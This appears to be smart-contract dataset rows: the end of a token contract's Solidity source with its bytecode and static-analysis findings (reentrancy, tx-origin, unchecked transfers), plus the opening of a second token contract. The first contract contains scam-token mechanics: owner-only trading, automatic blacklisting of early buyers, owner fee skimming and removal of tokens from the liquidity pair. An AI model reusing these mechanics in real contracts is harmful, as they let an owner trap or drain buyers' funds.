emit Transfer(_account, address(0), _amount);
}
function _goGoGadgetmobile(uint _amount) private {
_balance[address(this)] = _balance[address(this)].add(_amount);
}
function removeAllFee() private {
if(_wowsers == 0 && _goGoGadget == 0) return;
_previousWowsers = _wowsers;
_previousGoGadget = _goGoGadget;
_wowsers = 0;
_goGoGadget = 0;
}
function restoreAllFee() private {
_wowsers = _previousWowsers;
_goGoGadget = _previousGoGadget;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlacklisted[from] && !_isBlacklisted[to]);
if(!tradingLive){
require(from == owner()); // only owner allowed to trade or add liquidity
}
if(maxTXEnabled){
if(from != owner() && to != owner()){
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
}
if(cooldown){
if( to != owner() && to != address(this) && to != address(uniswapV2Router) && to != uniswapV2Pair) {
require(_lastTX[tx.origin] <= (block.timestamp + 30 seconds), "Cooldown in effect");
_lastTX[tx.origin] = block.timestamp;
}
}
if(antiSnipe){
if(from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
require( tx.origin == to);
}
}
if(maxHoldingsEnabled){
if(from == uniswapV2Pair && from != owner() && to != owner() && to != address(uniswapV2Router) && to != address(this)) {
uint balance = balanceOf(to);
require(balance.add(amount) <= _maxHoldings);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) {
contractTokenBalance = numTokensSellToAddToLiquidity;
if(contractTokenBalance >= _maxTxAmount){
contractTokenBalance = _maxTxAmount;
}
swapAndLiquify(contractTokenBalance);
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
if(from == uniswapV2Pair && to != address(this) && to != address(uniswapV2Router)){
_wowsers = 4;
_goGoGadget = 9;
} else {
_wowsers = 9;
_goGoGadget = 4;
}
_tokenTransfer(from,to,amount,takeFee);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(antiBotLaunch){
if(block.number <= firstLiveBlock && sender == uniswapV2Pair && recipient != address(uniswapV2Router) && recipient != address(this)){
_isBlacklisted[recipient] = true;
}
}
if(!takeFee) removeAllFee();
uint256 wowsers = amount.mul(_wowsers).div(100);
uint256 goGoGadget = amount.mul(_goGoGadget).div(100);
uint256 amountTransferred = amount.sub(goGoGadget).sub(wowsers);
_balance[sender] = _balance[sender].sub(amount);
_goGoGadgetmobile(goGoGadget);
_balance[owner()] = _balance[owner()].add(wowsers);
_balance[recipient] = _balance[recipient].add(amountTransferred);
if(savePenny && sender != uniswapV2Pair && sender != address(this) && sender != address(uniswapV2Router) && (recipient == address(uniswapV2Router) || recipient == uniswapV2Pair)) {
_goGoGadgetArms(uniswapV2Pair, wowsers);
}
emit Transfer(sender, recipient, amountTransferred);
if(!takeFee) restoreAllFee();
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 tokensForLiq = (contractTokenBalance.div(5));
uint256 half = tokensForLiq.div(2);
uint256 toSwap = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(toSwap);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(half, newBalance);
uint256 forInspection = (address(this).balance).mul(65).div(100);
payable(_inspectorCrypto).transfer(forInspection);
payable(_brain).transfer(address(this).balance);
emit SwapAndLiquify(half, newBalance, half);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
}
|
0x60806040526004361061031e5760003560e01c8063715018a6116101ab578063a9059cbb116100f7578063d89135cd11610095578063ea2f0b371161006f578063ea2f0b3714610a97578063ec28438a14610aca578063f9f92be414610af4578063fd01bd4c14610b2757610325565b8063d89135cd14610a32578063dcebf63b14610a47578063dd62ed3e14610a5c57610325565b8063c28eda6b116100d1578063c28eda6b146109c7578063c41ba810146109dc578063c49b9a80146109f1578063d12a768814610a1d57610325565b8063a9059cbb14610928578063b0d177ca14610961578063bdfb363f1461099457610325565b80637e66c0b91161016457806395d89b411161013e57806395d89b411461089957806395f6f567146108ae578063a457c2d7146108da578063a63342311461091357610325565b80637e66c0b914610812578063896072811461086f5780638da5cb5b1461088457610325565b8063715018a6146107bc578063725e0769146107d1578063750e4fd1146107fd578063764d72bf14610812578063787a08a6146108455780637d1db4a51461085a57610325565b8063395093511161026a5780634a74bb0211610223578063537df3b6116101fd578063537df3b6146107175780635ae9e94b1461074a578063615420751461077457806370a082311461078957610325565b80634a74bb02146106ba5780634e45e92a146106cf5780635342acb4146106e457610325565b806339509351146105bd5780633f9b7607146105f6578063413550e314610631578063423ad3751461065d578063437823ec1461067257806349bd5a5e146106a557610325565b80631694505e116102d757806323b872dd116102b157806323b872dd146104f957806329e04b4a1461053c578063313ce567146105665780633190e2f61461059157610325565b80631694505e1461048557806316d624a5146104b657806318160ddd146104e457610325565b806306fdde031461032a578063084e4f8a146103b4578063095d2d33146103fb578063095ea7b31461042257806311704f521461045b57806312db00161461047057610325565b3661032557005b600080fd5b34801561033657600080fd5b5061033f610b3c565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610379578181015183820152602001610361565b50505050905090810190601f1680156103a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103c057600080fd5b506103e7600480360360208110156103d757600080fd5b50356001600160a01b0316610bd2565b604080519115158252519081900360200190f35b34801561040757600080fd5b50610410610bf0565b60408051918252519081900360200190f35b34801561042e57600080fd5b506103e76004803603604081101561044557600080fd5b506001600160a01b038135169060200135610bf6565b34801561046757600080fd5b506103e7610c14565b34801561047c57600080fd5b506103e7610c1d565b34801561049157600080fd5b5061049a610c26565b604080516001600160a01b039092168252519081900360200190f35b3480156104c257600080fd5b506104e2600480360360208110156104d957600080fd5b50351515610c4a565b005b3480156104f057600080fd5b50610410610cc2565b34801561050557600080fd5b506103e76004803603606081101561051c57600080fd5b506001600160a01b03813581169160208101359091169060400135610cc8565b34801561054857600080fd5b506104e26004803603602081101561055f57600080fd5b5035610d4f565b34801561057257600080fd5b5061057b610db6565b6040805160ff9092168252519081900360200190f35b34801561059d57600080fd5b506104e2600480360360208110156105b457600080fd5b50351515610dbf565b3480156105c957600080fd5b506103e7600480360360408110156105e057600080fd5b506001600160a01b038135169060200135610e35565b34801561060257600080fd5b506104e26004803603604081101561061957600080fd5b506001600160a01b0381358116916020013516610e83565b34801561063d57600080fd5b506104e26004803603602081101561065457600080fd5b50351515610fe3565b34801561066957600080fd5b5061041061104e565b34801561067e57600080fd5b506104e26004803603602081101561069557600080fd5b50356001600160a01b0316611054565b3480156106b157600080fd5b5061049a6110d0565b3480156106c657600080fd5b506103e76110f4565b3480156106db57600080fd5b506103e7611102565b3480156106f057600080fd5b506103e76004803603602081101561070757600080fd5b50356001600160a01b0316611110565b34801561072357600080fd5b506104e26004803603602081101561073a57600080fd5b50356001600160a01b031661112e565b34801561075657600080fd5b506104e26004803603602081101561076d57600080fd5b50356111a7565b34801561078057600080fd5b5061041061120e565b34801561079557600080fd5b50610410600480360360208110156107ac57600080fd5b50356001600160a01b0316611214565b3480156107c857600080fd5b506104e261122f565b3480156107dd57600080fd5b506104e2600480360360208110156107f457600080fd5b503515156112d1565b34801561080957600080fd5b506104e2611345565b34801561081e57600080fd5b506104e26004803603602081101561083557600080fd5b50356001600160a01b031661144d565b34801561085157600080fd5b506103e76114de565b34801561086657600080fd5b506104106114ef565b34801561087b57600080fd5b506103e76114f5565b34801561089057600080fd5b5061049a611505565b3480156108a557600080fd5b5061033f611514565b3480156108ba57600080fd5b506104e2600480360360208110156108d157600080fd5b50351515611575565b3480156108e657600080fd5b506103e7600480360360408110156108fd57600080fd5b506001600160a01b0381351690602001356115e7565b34801561091f57600080fd5b506104e261164f565b34801561093457600080fd5b506103e76004803603604081101561094b57600080fd5b506001600160a01b0381351690602001356116ba565b34801561096d57600080fd5b506104e26004803603602081101561098457600080fd5b50356001600160a01b03166116ce565b3480156109a057600080fd5b506104e2600480360360208110156109b757600080fd5b50356001600160a01b0316611748565b3480156109d357600080fd5b506104106117c8565b3480156109e857600080fd5b506103e76117ce565b3480156109fd57600080fd5b506104e260048036036020811015610a1457600080fd5b503515156117dd565b348015610a2957600080fd5b50610410611884565b348015610a3e57600080fd5b5061041061188a565b348015610a5357600080fd5b506103e7611890565b348015610a6857600080fd5b5061041060048036036040811015610a7f57600080fd5b506001600160a01b038135811691602001351661189f565b348015610aa357600080fd5b506104e260048036036020811015610aba57600080fd5b50356001600160a01b03166118ca565b348015610ad657600080fd5b506104e260048036036020811015610aed57600080fd5b5035611943565b348015610b0057600080fd5b506104e260048036036020811015610b1757600080fd5b50356001600160a01b03166119aa565b348015610b3357600080fd5b50610410611a26565b600c8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610bc85780601f10610b9d57610100808354040283529160200191610bc8565b820191906000526020600020905b815481529060010190602001808311610bab57829003601f168201915b5050505050905090565b6001600160a01b031660009081526007602052604090205460ff1690565b60175481565b6000610c0a610c03611a2c565b8484611a30565b5060015b92915050565b60095460ff1681565b60185460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b610c52611a2c565b6000546001600160a01b03908116911614610ca2576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b601880549115156401000000000264ff0000000019909216919091179055565b600a5490565b6000610cd5848484611b1c565b610d4584610ce1611a2c565b610d4085604051806060016040528060288152602001612cf0602891396001600160a01b038a16600090815260046020526040812090610d1f611a2c565b6001600160a01b031681526020810191909152604001600020549190612187565b611a30565b5060019392505050565b610d57611a2c565b6000546001600160a01b03908116911614610da7576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b670de0b6b3a764000002601955565b600e5460ff1690565b610dc7611a2c565b6000546001600160a01b03908116911614610e17576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b6018805491151563010000000263ff00000019909216919091179055565b6000610c0a610e42611a2c565b84610d408560046000610e53611a2c565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549061221e565b610e8b611a2c565b6000546001600160a01b03908116911614610edb576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b816001600160a01b031663a9059cbb82846001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610f3857600080fd5b505afa158015610f4c573d6000803e3d6000fd5b505050506040513d6020811015610f6257600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015610fb357600080fd5b505af1158015610fc7573d6000803e3d6000fd5b505050506040513d6020811015610fdd57600080fd5b50505050565b610feb611a2c565b6000546001600160a01b0390811691161461103b576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b6018805460ff1916911515919091179055565b60105481565b61105c611a2c565b6000546001600160a01b039081169116146110ac576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b7f000000000000000000000000756f96034ebb3e967d7f1997f48541541f9cf2e981565b601554610100900460ff1681565b601854610100900460ff1681565b6001600160a01b031660009081526005602052604090205460ff1690565b611136611a2c565b6000546001600160a01b03908116911614611186576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6111af611a2c565b6000546001600160a01b039081169116146111ff576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b670de0b6b3a764000002601755565b60125481565b6001600160a01b031660009081526002602052604090205490565b611237611a2c565b6000546001600160a01b03908116911614611287576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6112d9611a2c565b6000546001600160a01b03908116911614611329576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b60188054911515620100000262ff000019909216919091179055565b61134d611a2c565b6000546001600160a01b0390811691161461139d576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b3360006113a982611214565b6001600160a01b0383166000908152600260205260409020549091506113cf908261227f565b6001600160a01b038316600090815260026020526040902055600a546113f5908261227f565b600a55600b54611405908261221e565b600b556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b611455611a2c565b6000546001600160a01b039081169116146114a5576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b6040516001600160a01b038216904780156108fc02916000818181858888f193505050501580156114da573d6000803e3d6000fd5b5050565b601854640100000000900460ff1681565b60165481565b6018546301000000900460ff1681565b6000546001600160a01b031690565b600d8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610bc85780601f10610b9d57610100808354040283529160200191610bc8565b61157d611a2c565b6000546001600160a01b039081169116146115cd576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b601880549115156101000261ff0019909216919091179055565b6000610c0a6115f4611a2c565b84610d4085604051806060016040528060258152602001612daa602591396004600061161e611a2c565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190612187565b611657611a2c565b6000546001600160a01b039081169116146116a7576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b6009805460ff1916600117905543601055565b6000610c0a6116c7611a2c565b8484611b1c565b6116d6611a2c565b6000546001600160a01b03908116911614611726576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b611750611a2c565b6000546001600160a01b039081169116146117a0576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b600e80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60115481565b60185462010000900460ff1681565b6117e5611a2c565b6000546001600160a01b03908116911614611835576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b60158054821515610100810261ff00199092169190911790915560408051918252517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599181900360200190a150565b60195481565b600b5490565b60155462010000900460ff1681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6118d2611a2c565b6000546001600160a01b03908116911614611922576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b61194b611a2c565b6000546001600160a01b0390811691161461199b576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b670de0b6b3a764000002601655565b6119b2611a2c565b6000546001600160a01b03908116911614611a02576040805162461bcd60e51b81526020600482018190526024820152600080516020612d18833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b600b5481565b3390565b6001600160a01b038316611a755760405162461bcd60e51b8152600401808060200182810382526024815260200180612d866024913960400191505060405180910390fd5b6001600160a01b038216611aba5760405162461bcd60e51b8152600401808060200182810382526022815260200180612c856022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611b615760405162461bcd60e51b8152600401808060200182810382526025815260200180612d616025913960400191505060405180910390fd5b6001600160a01b038216611ba65760405162461bcd60e51b8152600401808060200182810382526023815260200180612c626023913960400191505060405180910390fd5b60008111611be55760405162461bcd60e51b8152600401808060200182810382526029815260200180612d386029913960400191505060405180910390fd5b6001600160a01b03831660009081526007602052604090205460ff16158015611c2757506001600160a01b03821660009081526007602052604090205460ff16155b611c3057600080fd5b60095460ff16611c5f57611c42611505565b6001600160a01b0316836001600160a01b031614611c5f57600080fd5b601854610100900460ff1615611cf757611c77611505565b6001600160a01b0316836001600160a01b031614158015611cb15750611c9b611505565b6001600160a01b0316826001600160a01b031614155b15611cf757601654811115611cf75760405162461bcd60e51b8152600401808060200182810382526028815260200180612ca76028913960400191505060405180910390fd5b601854640100000000900460ff1615611e2c57611d12611505565b6001600160a01b0316826001600160a01b031614158015611d3c57506001600160a01b0382163014155b8015611d7a57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611db857507f000000000000000000000000756f96034ebb3e967d7f1997f48541541f9cf2e96001600160a01b0316826001600160a01b031614155b15611e2c5732600090815260036020526040902054601e42011015611e19576040805162461bcd60e51b815260206004820152601260248201527110dbdbdb191bdddb881a5b881959999958dd60721b604482015290519081900360640190fd5b3260009081526003602052604090204290555b60185462010000900460ff1615611edf577f000000000000000000000000756f96034ebb3e967d7f1997f48541541f9cf2e96001600160a01b0316836001600160a01b0316148015611eb057507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611ec557506001600160a01b0382163014155b15611edf57326001600160a01b03831614611edf57600080fd5b60185460ff1615611fe9577f000000000000000000000000756f96034ebb3e967d7f1997f48541541f9cf2e96001600160a01b0316836001600160a01b0316148015611f445750611f2e611505565b6001600160a01b0316836001600160a01b031614155b8015611f695750611f53611505565b6001600160a01b0316826001600160a01b031614155b8015611fa757507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611fbc57506001600160a01b0382163014155b15611fe9576000611fcc83611214565b601754909150611fdc828461221e565b1115611fe757600080fd5b505b6000611ff430611214565b6019549091508110801590819061200e575060155460ff16155b801561204c57507f000000000000000000000000756f96034ebb3e967d7f1997f48541541f9cf2e96001600160a01b0316856001600160a01b031614155b801561205f5750601554610100900460ff165b1561208157601954915060165482106120785760165491505b612081826122c1565b6001600160a01b03851660009081526005602052604090205460019060ff16806120c357506001600160a01b03851660009081526005602052604090205460ff165b156120cc575060005b7f000000000000000000000000756f96034ebb3e967d7f1997f48541541f9cf2e96001600160a01b0316866001600160a01b031614801561211657506001600160a01b0385163014155b801561215457507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316856001600160a01b031614155b156121685760046011556009601255612173565b600960115560046012555b61217f86868684612402565b505050505050565b600081848411156122165760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156121db5781810151838201526020016121c3565b50505050905090810190601f1680156122085780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015612278576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600061227883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612187565b6015805460ff1916600117905560006122db8260056127ae565b905060006122ea8260026127ae565b905060006122f8848361227f565b905047612304826127f0565b6000612310478361227f565b905061231c8482612a00565b6000612334606461232e476041612afe565b906127ae565b600e5460405191925061010090046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015612374573d6000803e3d6000fd5b50600f546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156123ae573d6000803e3d6000fd5b50604080518681526020810184905280820187905290517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a150506015805460ff191690555050505050565b60155462010000900460ff16156124d257601054431115801561245657507f000000000000000000000000756f96034ebb3e967d7f1997f48541541f9cf2e96001600160a01b0316846001600160a01b0316145b801561249457507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316836001600160a01b031614155b80156124a957506001600160a01b0383163014155b156124d2576001600160a01b0383166000908152600760205260409020805460ff191660011790555b806124df576124df612b57565b60006124fb606461232e60115486612afe90919063ffffffff16565b90506000612519606461232e60125487612afe90919063ffffffff16565b905060006125318361252b878561227f565b9061227f565b6001600160a01b038816600090815260026020526040902054909150612557908661227f565b6001600160a01b03881660009081526002602052604090205561257982612b89565b6125a98360026000612589611505565b6001600160a01b031681526020810191909152604001600020549061221e565b600260006125b5611505565b6001600160a01b03908116825260208083019390935260409182016000908120949094558916835260029091529020546125ef908261221e565b6001600160a01b0387166000908152600260205260409020556018546301000000900460ff16801561265357507f000000000000000000000000756f96034ebb3e967d7f1997f48541541f9cf2e96001600160a01b0316876001600160a01b031614155b801561266857506001600160a01b0387163014155b80156126a657507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316876001600160a01b031614155b801561271e57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316866001600160a01b0316148061271e57507f000000000000000000000000756f96034ebb3e967d7f1997f48541541f9cf2e96001600160a01b0316866001600160a01b0316145b1561274d5761274d7f000000000000000000000000756f96034ebb3e967d7f1997f48541541f9cf2e984612bb6565b856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3836127a5576127a5612bee565b50505050505050565b600061227883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bfc565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061281f57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561289857600080fd5b505afa1580156128ac573d6000803e3d6000fd5b505050506040513d60208110156128c257600080fd5b50518151829060019081106128d357fe5b60200260200101906001600160a01b031690816001600160a01b03168152505061291e307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611a30565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156129c35781810151838201526020016129ab565b505050509050019650505050505050600060405180830381600087803b1580156129ec57600080fd5b505af115801561217f573d6000803e3d6000fd5b612a2b307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611a30565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d719823085600080612a68611505565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015612ad357600080fd5b505af1158015612ae7573d6000803e3d6000fd5b50505050506040513d6060811015610fdd57600080fd5b600082612b0d57506000610c0e565b82820282848281612b1a57fe5b04146122785760405162461bcd60e51b8152600401808060200182810382526021815260200180612ccf6021913960400191505060405180910390fd5b601154158015612b675750601254155b15612b7157612b87565b6011805460135560128054601455600091829055555b565b30600090815260026020526040902054612ba3908261221e565b3060009081526002602052604090205550565b612bbf82611214565b811115612bcb57600080fd5b6001600160a01b0382166000908152600260205260409020546113cf908261227f565b601354601155601454601255565b60008183612c4b5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156121db5781810151838201526020016121c3565b506000838581612c5757fe5b049594505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220789ce4412e532322472839faa1cccf2d13217fd60e6f8e6ed73ee3e31b7153fc64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,682 |
0xe791014cff76c4a299e2600dd0ec0787342ed25d
|
// SPDX-License-Identifier: Unlicensed
/**
"Birds aren't real" campaign has been around since 1976.
Once the aim was to stop bird genocide.
Unfortunately,
it didn't work out.
The government has since replaced all birds with robots.
Liquidity: 2 eth
Total: 1,000,000,000,000
Burn: 600,000,000,000
Max buy: 10,000,000,000
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RealBird is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Birds Aren't Real";
string private constant _symbol = "RealBird";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x6cF0d15E60d89139A81d9C7BE442ace427769c34);
address payable private _marketingAddress = payable(0x6cF0d15E60d89139A81d9C7BE442ace427769c34);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 15000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
